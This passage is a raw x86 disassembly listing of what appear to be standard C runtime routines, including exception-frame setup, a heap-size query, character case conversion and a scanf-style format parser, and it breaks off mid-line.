sub_41C012 pop ecx pop ecx test eax, eax jz short loc_418B2F push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_418BBA pop ecx pop ecx push eax push edi call sub_414520 add esp, 0Ch jmp short loc_418B34 ; --------------------------------------------------------------------------- loc_418ACE: ; CODE XREF: sub_41898F+103j call sub_41BFF6 pop ecx pop ecx test eax, eax jz short loc_418B2F push 1 push edi call sub_41C012 pop ecx pop ecx test eax, eax jz short loc_418B2F push dword ptr [esi+18h] call sub_41C02E pop ecx test eax, eax jz short loc_418B2F test byte ptr [esi], 4 jz short loc_418B15 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_418BBA pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_414155 jmp short loc_418B34 ; --------------------------------------------------------------------------- loc_418B15: ; CODE XREF: sub_41898F+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_418BBA pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41414E jmp short loc_418B34 ; --------------------------------------------------------------------------- loc_418B2F: ; CODE XREF: sub_41898F+6Aj ; sub_41898F+7Cj ... call sub_418C82 loc_418B34: ; CODE XREF: sub_41898F+98j ; sub_41898F+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_418B38: ; CODE XREF: sub_41898F+2Ej ; sub_41898F+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41898F endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_418C2C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B53 proc near ; CODE XREF: sub_41847E+170p ; sub_41891F+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F828 push offset sub_41AE98 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_418B9A mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_418B9A and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41414E or [ebp+var_4], 0FFFFFFFFh loc_418B9A: ; CODE XREF: sub_418B53+2Aj ; sub_418B53+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_418B53 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_418C2C ; =============== S U B R O U T I N E ======================================= sub_418BBA proc near ; CODE XREF: sub_41898F+8Fp ; sub_41898F+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_418BDB mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_418BDB: ; CODE XREF: sub_418BBA+12j pop esi retn sub_418BBA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BE0 proc near ; CODE XREF: sub_4141E1+40p ; sub_41872A+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_4144CD push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_418C1F mov ecx, 2 loc_418C1F: ; CODE XREF: sub_418BE0+38j push ecx call sub_4144CD pop ebp pop ecx pop ebx leave retn 0Ch sub_418BE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C2C proc near ; CODE XREF: sub_41847E:loc_418620j ; sub_4187C8:loc_4187D9j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041C046 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F838 push offset sub_41AE98 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, ds:dword_45E888 test eax, eax jz short loc_418C74 mov [ebp+var_4], 1 call eax ; dword_45E888 jmp short loc_418C70 ; --------------------------------------------------------------------------- loc_418C69: ; DATA XREF: seg001:0041F848o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_418C6D: ; DATA XREF: seg001:0041F84Co mov esp, [ebp+var_18] loc_418C70: ; CODE XREF: sub_418C2C+3Bj and [ebp+var_4], 0 loc_418C74: ; CODE XREF: sub_418C2C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_418C7D: ; DATA XREF: seg001:0041F840o jmp loc_41C046 sub_418C2C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C82 proc near ; CODE XREF: sub_414383+23p ; sub_414383:loc_4143EEp ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F850 push offset sub_41AE98 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, ds:off_42D454 test eax, eax jz short loc_418CCA mov [ebp+var_4], 1 call eax ; sub_418C2C jmp short loc_418CC6 ; --------------------------------------------------------------------------- loc_418CBF: ; DATA XREF: seg001:0041F860o push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] loc_418CC6: ; CODE XREF: sub_418C82+3Bj and [ebp+var_4], 0 loc_418CCA: ; CODE XREF: sub_418C82+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_418CD3: ; DATA XREF: seg001:0041F858o jmp sub_418C2C sub_418C82 endp ; =============== S U B R O U T I N E ======================================= sub_418CD8 proc near ; CODE XREF: sub_414863+7p ; sub_414863+26p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_416B8D test eax, eax pop ecx jz short loc_418CF0 mov eax, [esi-4] pop esi sub eax, 9 retn ; --------------------------------------------------------------------------- loc_418CF0: ; CODE XREF: sub_418CD8+Ej push esi push 0 push ds:dword_45FE60 call ds:dword_41F17C ; RtlSizeHeap pop esi retn sub_418CD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D01 proc near ; CODE XREF: sub_414911+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_45E898, 0 push ebx jnz short loc_418D2C mov eax, [ebp+arg_0] cmp eax, 61h jl loc_418DCA cmp eax, 7Ah jg loc_418DCA sub eax, 20h jmp loc_418DCA ; --------------------------------------------------------------------------- loc_418D2C: ; CODE XREF: sub_418D01+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_418D5F cmp ds:dword_42D2FC, 1 jle short loc_418D4C push 2 push ebx call sub_4165E6 pop ecx pop ecx jmp short loc_418D57 ; --------------------------------------------------------------------------- loc_418D4C: ; CODE XREF: sub_418D01+3Dj mov eax, ds:off_42D0F0 mov al, [eax+ebx*2] and eax, 2 loc_418D57: ; CODE XREF: sub_418D01+49j test eax, eax jnz short loc_418D5F loc_418D5B: ; CODE XREF: sub_418D01+AFj mov eax, ebx jmp short loc_418DCA ; --------------------------------------------------------------------------- loc_418D5F: ; CODE XREF: sub_418D01+34j ; sub_418D01+58j mov edx, ds:off_42D0F0 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_418D82 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_418D8B ; --------------------------------------------------------------------------- loc_418D82: ; CODE XREF: sub_418D01+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_418D8B: ; CODE XREF: sub_418D01+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push ds:dword_45E898 call loc_419E01 add esp, 20h test eax, eax jz short loc_418D5B cmp eax, 1 jnz short loc_418DBD movzx eax, [ebp+var_4] jmp short loc_418DCA ; --------------------------------------------------------------------------- loc_418DBD: ; CODE XREF: sub_418D01+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_418DCA: ; CODE XREF: sub_418D01+14j ; sub_418D01+1Dj ... pop ebx leave retn sub_418D01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DCD proc near ; CODE XREF: sub_414B30+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_4197D3 mov edi, [ebp+arg_0] jmp short loc_418DFC ; --------------------------------------------------------------------------- loc_418DF7: ; CODE XREF: sub_418DCD+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_418DFC: ; CODE XREF: sub_418DCD+28j cmp ds:dword_42D2FC, 1 jle short loc_418E14 movzx eax, al push 8 push eax call sub_4165E6 pop ecx pop ecx jmp short loc_418E23 ; --------------------------------------------------------------------------- loc_418E14: ; CODE XREF: sub_418DCD+36j mov ecx, ds:off_42D0F0 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_418E23: ; CODE XREF: sub_418DCD+45j cmp eax, ebx jz short loc_418E5D dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41985A pop ecx pop ecx push eax call sub_419843 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41C125 add esp, 0Ch loc_418E4B: ; CODE XREF: sub_418DCD+8Ej test eax, eax jz short loc_418E5D movzx eax, byte ptr [esi+1] inc esi push eax call sub_41C125 pop ecx jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E5D: ; CODE XREF: sub_418DCD+58j ; sub_418DCD+80j cmp byte ptr [esi], 25h jnz loc_41973F and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_418E94: ; CODE XREF: sub_418DCD+172j movzx ebx, byte ptr [esi+1] inc esi cmp ds:dword_42D2FC, 1 jle short loc_418EB1 movzx eax, bl push 4 push eax call sub_4165E6 pop ecx pop ecx jmp short loc_418EC0 ; --------------------------------------------------------------------------- loc_418EB1: ; CODE XREF: sub_418DCD+D3j mov ecx, ds:off_42D0F0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_418EC0: ; CODE XREF: sub_418DCD+E2j test eax, eax jz short loc_418ED6 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_418F3B ; --------------------------------------------------------------------------- loc_418ED6: ; CODE XREF: sub_418DCD+F5j cmp ebx, 4Eh jg short loc_418F19 jz short loc_418F3B cmp ebx, 2Ah jz short loc_418F14 cmp ebx, 46h jz short loc_418F3B cmp ebx, 49h jz short loc_418EF6 cmp ebx, 4Ch jnz short loc_418F28 inc [ebp+var_D] jmp short loc_418F3B ; --------------------------------------------------------------------------- loc_418EF6: ; CODE XREF: sub_418DCD+11Dj cmp byte ptr [esi+1], 36h jnz short loc_418F28 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_418F28 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_418F3B ; --------------------------------------------------------------------------- loc_418F14: ; CODE XREF: sub_418DCD+113j inc [ebp+var_E] jmp short loc_418F3B ; --------------------------------------------------------------------------- loc_418F19: ; CODE XREF: sub_418DCD+10Cj cmp ebx, 68h jz short loc_418F35 cmp ebx, 6Ch jz short loc_418F2D cmp ebx, 77h jz short loc_418F30 loc_418F28: ; CODE XREF: sub_418DCD+122j ; sub_418DCD+12Dj ... inc [ebp+var_F] jmp short loc_418F3B ; --------------------------------------------------------------------------- loc_418F2D: ; CODE XREF: sub_418DCD+154j inc [ebp+var_D] loc_418F30: ; CODE XREF: sub_418DCD+159j inc [ebp+var_5] jmp short loc_418F3B ; --------------------------------------------------------------------------- loc_418F35: ; CODE XREF: sub_418DCD+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_418F3B: ; CODE XREF: sub_418DCD+107j ; sub_418DCD+10Ej ... cmp [ebp+var_F], 0 jz loc_418E94 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_418F60 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_418F60: ; CODE XREF: sub_418DCD+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_418F7E mov al, [esi] cmp al, 53h jz short loc_418F7A cmp al, 43h jz short loc_418F7A or [ebp+var_5], 0FFh jmp short loc_418F7E ; --------------------------------------------------------------------------- loc_418F7A: ; CODE XREF: sub_418DCD+1A1j ; sub_418DCD+1A5j mov [ebp+var_5], 1 loc_418F7E: ; CODE XREF: sub_418DCD+19Bj ; sub_418DCD+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_418FB7 cmp esi, 63h jz short loc_418FA8 cmp esi, 7Bh jz short loc_418FA8 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41985A pop ecx jmp short loc_418FB3 ; --------------------------------------------------------------------------- loc_418FA8: ; CODE XREF: sub_418DCD+1C5j ; sub_418DCD+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_419829 loc_418FB3: ; CODE XREF: sub_418DCD+1D9j pop ecx mov [ebp+var_14], eax loc_418FB7: ; CODE XREF: sub_418DCD+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_418FC7 cmp [ebp+var_C], eax jz loc_4197A3 loc_418FC7: ; CODE XREF: sub_418DCD+1EFj cmp esi, 6Fh jg loc_41922E jz loc_4194E0 cmp esi, 63h jz loc_41920B cmp esi, 64h jz loc_4194E0 jle loc_419258 cmp esi, 67h jle short loc_41902B cmp esi, 69h jz short loc_419013 cmp esi, 6Eh jnz loc_419258 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41970E jmp loc_419734 ; --------------------------------------------------------------------------- loc_419013: ; CODE XREF: sub_418DCD+229j push 64h pop esi loc_419016: ; CODE XREF: sub_418DCD+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4192A0 mov [ebp+var_17], 1 jmp loc_4192A5 ; --------------------------------------------------------------------------- loc_41902B: ; CODE XREF: sub_418DCD+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_419047 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41904C ; --------------------------------------------------------------------------- loc_419047: ; CODE XREF: sub_418DCD+26Aj cmp ebx, 2Bh jnz short loc_419063 loc_41904C: ; CODE XREF: sub_418DCD+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_419829 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_419066 ; --------------------------------------------------------------------------- loc_419063: ; CODE XREF: sub_418DCD+27Dj mov edi, [ebp+arg_0] loc_419066: ; CODE XREF: sub_418DCD+294j cmp [ebp+var_20], 0 jz short loc_419075 cmp [ebp+var_C], 15Dh jle short loc_41907C loc_419075: ; CODE XREF: sub_418DCD+29Dj mov [ebp+var_C], 15Dh loc_41907C: ; CODE XREF: sub_418DCD+2A6j ; sub_418DCD+2F2j cmp ds:dword_42D2FC, 1 jle short loc_419091 push 4 push ebx call sub_4165E6 pop ecx pop ecx jmp short loc_41909C ; --------------------------------------------------------------------------- loc_419091: ; CODE XREF: sub_418DCD+2B6j mov eax, ds:off_42D0F0 mov al, [eax+ebx*2] and eax, 4 loc_41909C: ; CODE XREF: sub_418DCD+2C2j test eax, eax jz short loc_4190C1 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4190C1 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_419829 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41907C ; --------------------------------------------------------------------------- loc_4190C1: ; CODE XREF: sub_418DCD+2D1j ; sub_418DCD+2DBj cmp ds:byte_42D300, bl jnz short loc_41912F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41912F inc [ebp+var_4] push edi call sub_419829 mov ebx, eax mov al, ds:byte_42D300 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_4190EA: ; CODE XREF: sub_418DCD+360j cmp ds:dword_42D2FC, 1 jle short loc_4190FF push 4 push ebx call sub_4165E6 pop ecx pop ecx jmp short loc_41910A ; --------------------------------------------------------------------------- loc_4190FF: ; CODE XREF: sub_418DCD+324j mov eax, ds:off_42D0F0 mov al, [eax+ebx*2] and eax, 4 loc_41910A: ; CODE XREF: sub_418DCD+330j test eax, eax jz short loc_41912F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41912F inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_419829 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4190EA ; --------------------------------------------------------------------------- loc_41912F: ; CODE XREF: sub_418DCD+2FAj ; sub_418DCD+304j ... cmp [ebp+var_1C], 0 jz loc_4191C7 cmp ebx, 65h jz short loc_419147 cmp ebx, 45h jnz loc_4191C7 loc_419147: ; CODE XREF: sub_418DCD+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4191C7 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_419829 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41916E mov [esi], al inc esi jmp short loc_419173 ; --------------------------------------------------------------------------- loc_41916E: ; CODE XREF: sub_418DCD+39Aj cmp ebx, 2Bh jnz short loc_419191 loc_419173: ; CODE XREF: sub_418DCD+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_419182 and [ebp+var_C], eax jmp short loc_419191 ; --------------------------------------------------------------------------- loc_419182: ; CODE XREF: sub_418DCD+3AEj ; sub_418DCD+3F8j inc [ebp+var_4] push edi call sub_419829 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_419191: ; CODE XREF: sub_418DCD+3A4j ; sub_418DCD+3B3j cmp ds:dword_42D2FC, 1 jle short loc_4191A6 push 4 push ebx call sub_4165E6 pop ecx pop ecx jmp short loc_4191B1 ; --------------------------------------------------------------------------- loc_4191A6: ; CODE XREF: sub_418DCD+3CBj mov eax, ds:off_42D0F0 mov al, [eax+ebx*2] and eax, 4 loc_4191B1: ; CODE XREF: sub_418DCD+3D7j test eax, eax jz short loc_4191C7 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4191C7 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_419182 ; --------------------------------------------------------------------------- loc_4191C7: ; CODE XREF: sub_418DCD+366j ; sub_418DCD+374j ... dec [ebp+var_4] push edi push ebx call sub_419843 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_4197D3 cmp [ebp+var_E], 0 jnz loc_419734 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call ds:off_42D430 add esp, 0Ch jmp loc_419734 ; --------------------------------------------------------------------------- loc_41920B: ; CODE XREF: sub_418DCD+20Cj cmp [ebp+var_20], eax jnz short loc_41921A inc [ebp+var_C] mov [ebp+var_20], 1 loc_41921A: ; CODE XREF: sub_418DCD+441j cmp [ebp+var_5], 0 jle short loc_419224 mov [ebp+var_16], 1 loc_419224: ; CODE XREF: sub_418DCD+451j mov edi, offset dword_42D460 jmp loc_419339 ; --------------------------------------------------------------------------- loc_41922E: ; CODE XREF: sub_418DCD+1FDj mov eax, esi sub eax, 70h jz loc_4194DC sub eax, 3 jz loc_41932A dec eax dec eax jz loc_4194E0 sub eax, 3 jz loc_419016 sub eax, 3 jz short loc_41927C loc_419258: ; CODE XREF: sub_418DCD+21Bj ; sub_418DCD+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_4197A3 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_419734 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_419734 ; --------------------------------------------------------------------------- loc_41927C: ; CODE XREF: sub_418DCD+489j cmp [ebp+var_5], 0 jle short loc_419286 mov [ebp+var_16], 1 loc_419286: ; CODE XREF: sub_418DCD+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41933D mov eax, edi lea edi, [eax+1] jmp loc_419339 ; --------------------------------------------------------------------------- loc_4192A0: ; CODE XREF: sub_418DCD+24Fj cmp ebx, 2Bh jnz short loc_4192C7 loc_4192A5: ; CODE XREF: sub_418DCD+259j dec [ebp+var_C] jnz short loc_4192B6 cmp [ebp+var_20], 0 jz short loc_4192B6 mov [ebp+var_F], 1 jmp short loc_4192C7 ; --------------------------------------------------------------------------- loc_4192B6: ; CODE XREF: sub_418DCD+4DBj ; sub_418DCD+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_419829 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4192C7: ; CODE XREF: sub_418DCD+4D6j ; sub_418DCD+4E7j cmp ebx, 30h jnz loc_419515 push [ebp+arg_0] inc [ebp+var_4] call sub_419829 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_419315 cmp bl, 58h jz short loc_419315 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_4192FF push 6Fh loc_4192F9: ; CODE XREF: sub_418DCD+55Bj pop esi jmp loc_419515 ; --------------------------------------------------------------------------- loc_4192FF: ; CODE XREF: sub_418DCD+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_419843 pop ecx pop ecx push 30h pop ebx jmp loc_419512 ; --------------------------------------------------------------------------- loc_419315: ; CODE XREF: sub_418DCD+517j ; sub_418DCD+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_419829 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_4192F9 ; --------------------------------------------------------------------------- loc_41932A: ; CODE XREF: sub_418DCD+46Fj cmp [ebp+var_5], 0 jle short loc_419334 mov [ebp+var_16], 1 loc_419334: ; CODE XREF: sub_418DCD+561j mov edi, offset dword_42D458 loc_419339: ; CODE XREF: sub_418DCD+45Cj ; sub_418DCD+4CEj or [ebp+var_18], 0FFh loc_41933D: ; CODE XREF: sub_418DCD+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_413630 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_419361 cmp byte ptr [edi], 5Dh jnz short loc_419361 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_419364 ; --------------------------------------------------------------------------- loc_419361: ; CODE XREF: sub_418DCD+584j ; sub_418DCD+589j mov dl, [ebp+var_35] loc_419364: ; CODE XREF: sub_418DCD+592j ; sub_418DCD+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_4193C9 inc edi cmp al, 2Dh jnz short loc_4193B0 test dl, dl jz short loc_4193B0 mov cl, [edi] cmp cl, 5Dh jz short loc_4193B0 inc edi cmp dl, cl jnb short loc_419383 mov al, cl jmp short loc_419387 ; --------------------------------------------------------------------------- loc_419383: ; CODE XREF: sub_418DCD+5B0j mov al, dl mov dl, cl loc_419387: ; CODE XREF: sub_418DCD+5B4j cmp dl, al ja short loc_4193AC movzx edx, dl movzx esi, al sub esi, edx inc esi loc_419394: ; CODE XREF: sub_418DCD+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_419394 loc_4193AC: ; CODE XREF: sub_418DCD+5BCj xor dl, dl jmp short loc_419364 ; --------------------------------------------------------------------------- loc_4193B0: ; CODE XREF: sub_418DCD+5A0j ; sub_418DCD+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_419364 ; --------------------------------------------------------------------------- loc_4193C9: ; CODE XREF: sub_418DCD+59Bj cmp byte ptr [edi], 0 jz loc_4197D3 cmp [ebp+var_3C], 7Bh jnz short loc_4193DB mov [ebp+arg_4], edi loc_4193DB: ; CODE XREF: sub_418DCD+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_419843 pop ecx pop ecx loc_4193F2: ; CODE XREF: sub_418DCD+6BCj ; sub_418DCD+6C4j cmp [ebp+var_20], 0 jz short loc_419406 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_4194A2 loc_419406: ; CODE XREF: sub_418DCD+629j inc [ebp+var_4] push edi call sub_419829 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_419496 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_419496 cmp [ebp+var_E], 0 jnz short loc_41948E cmp [ebp+var_16], 0 jz short loc_419483 mov ecx, ds:off_42D0F0 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_419462 inc [ebp+var_4] push edi call sub_419829 pop ecx mov [ebp+var_37], al loc_419462: ; CODE XREF: sub_418DCD+686j push ds:dword_42D2FC lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_41C05D mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_419486 ; --------------------------------------------------------------------------- loc_419483: ; CODE XREF: sub_418DCD+673j mov [esi], al inc esi loc_419486: ; CODE XREF: sub_418DCD+6B4j mov [ebp+var_2C], esi jmp loc_4193F2 ; --------------------------------------------------------------------------- loc_41948E: ; CODE XREF: sub_418DCD+66Dj inc [ebp+var_30] jmp loc_4193F2 ; --------------------------------------------------------------------------- loc_419496: ; CODE XREF: sub_418DCD+649j ; sub_418DCD+667j dec [ebp+var_4] push edi push eax call sub_419843 pop ecx pop ecx loc_4194A2: ; CODE XREF: sub_418DCD+633j cmp [ebp+var_30], esi jz loc_4197D3 cmp [ebp+var_E], 0 jnz loc_419734 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_419734 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_4194D4 and word ptr [eax], 0 jmp loc_419734 ; --------------------------------------------------------------------------- loc_4194D4: ; CODE XREF: sub_418DCD+6FCj and byte ptr [eax], 0 jmp loc_419734 ; --------------------------------------------------------------------------- loc_4194DC: ; CODE XREF: sub_418DCD+466j mov [ebp+var_D], 1 loc_4194E0: ; CODE XREF: sub_418DCD+203j ; sub_418DCD+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_4194EE mov [ebp+var_17], 1 jmp short loc_4194F3 ; --------------------------------------------------------------------------- loc_4194EE: ; CODE XREF: sub_418DCD+719j cmp ebx, 2Bh jnz short loc_419515 loc_4194F3: ; CODE XREF: sub_418DCD+71Fj dec [ebp+var_C] jnz short loc_419504 cmp [ebp+var_20], 0 jz short loc_419504 mov [ebp+var_F], 1 jmp short loc_419515 ; --------------------------------------------------------------------------- loc_419504: ; CODE XREF: sub_418DCD+729j ; sub_418DCD+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_419829 pop ecx mov ebx, eax loc_419512: ; CODE XREF: sub_418DCD+543j mov [ebp+var_14], ebx loc_419515: ; CODE XREF: sub_418DCD+4FDj ; sub_418DCD+52Dj ... cmp [ebp+var_30], 0 jz loc_41962E cmp [ebp+var_F], 0 jnz loc_41960C loc_419529: ; CODE 